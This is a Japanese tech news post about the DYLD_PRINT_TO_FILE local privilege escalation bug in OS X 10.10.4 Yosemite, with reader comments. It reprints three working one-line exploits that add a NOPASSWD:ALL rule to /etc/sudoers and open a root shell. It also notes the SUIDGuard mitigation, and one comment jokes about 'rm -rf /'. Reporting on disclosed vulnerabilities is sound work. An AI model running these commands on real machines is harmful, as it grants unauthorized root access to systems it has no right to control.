OS X 10.10.4 Yosemiteまでに存在するDYLD_PRINT_TO_FILEの権限昇格脆弱性を利用して、sudoersファイルを書き換える実行コードが考案されています。詳細は以下から。
昨日ドイツのセキュリティ企業”SektionEins”がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表し、ゼロデイ脆弱性としてテクノロジーやセキュリティ系メディアで取り上げられていますが。
関連記事
- OS X YosemiteのDYLD_PRINT_TO_FILEに権限昇格の脆弱性が発見され、OS X 10.10.4でも実行可能なExploit Codeも公開される
- OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
- Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet – The Register
- Bug in latest version of OS X gives attackers unfettered root privileges – Ars Technica
sudoersファイルの編集
そんな中、この脆弱性を利用してsudoコマンドの制御を行う”/etc/sudoers”ファイルを編集し、1行で一般ユーザーにもroot権限を与えてしまうことの出来る実行コードが考案されて話題になっています。
OS X root shell in a tweet https://t.co/lEYt5ksKKr http://t.co/qXM9kHGrH5
Getting root privileges in Mac OS X Yosemite 10.10.4 with one line of code, via @i0n1c http://t.co/NjRbtBfSL6
この実行コードはReddit のID:numinitやlsdhoboが考案し「EDITORの環境変数に”DYLD_PRINT_TO_FILE”していし、/”etc/sudoers”に”hogehoge ALL=(ALL) NOPASSWD:ALL”を書き加える」というもので、以下のコマンドを実行すれば誰でもOS X Yosemiteのrootユーザーになることが出来ます。
echo ‘echo &vquot;$(whoami) ALL=(ALL) NOPASSWD:ALL&vquot; >&3’ | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)
echo python -c ‘&vquot;import os;os.write(3,\&vquot;ALL ALL=(ALL) NOPASSWD: ALL\&vquot;)&vquot;’|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su # via reddit lsdhobo
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
実際に確認してみましたが、OS X 10.10.4でも以下の様にsudoersファイルが編集され、誰もがrootユーザーに昇格することが可能です。
この脆弱性はOS X 10.11 El CapitanのBeta版では修正されていますが、開発者向けに公開されている10.10.5 Betaにも存在するため注意して下さい。
追記
SektionEinsが公開しているSUDIGuard.kextを使ったみました。
OS X Yosemiteに存在するDYLD_PRINT_TO_FILEの権限昇格脆弱性を抑える「SUIDGuard」カーネル拡張を使ってみた。 http://t.co/ZGkMVfMAv6 http://t.co/dIHryMKZRR
関連リンク:
コメント
こんな怖いコードが‼️‼️
早速大学の実習室にあるiMacで使ってみます‼️‼️
みたいなコメントが某Redditにあって大学のシステム管理者に敬意をはらいたい…
いやいや、、、これ冗談にならないぐらいヤバイじゃん。
1.環境変数にDYLD_PRINT_TO_FILEを指定することでrootでファイルの作成ができる脆弱性が見つかる
↓
2.ファイルの作成ぐらいだったら大丈夫だろ?
↓
3.Reddit「こういう使い方すればsudoersファイルにユーザーを加えて完全にrootになれるよ!」
↓
4.Macユーザー阿鼻叫喚
AppleはoS X 10.10.5をリリースする前に緊急アップデートを配布した方がいいと思う、、、
sudo の後に rm -rf / が無いだけ良かったか。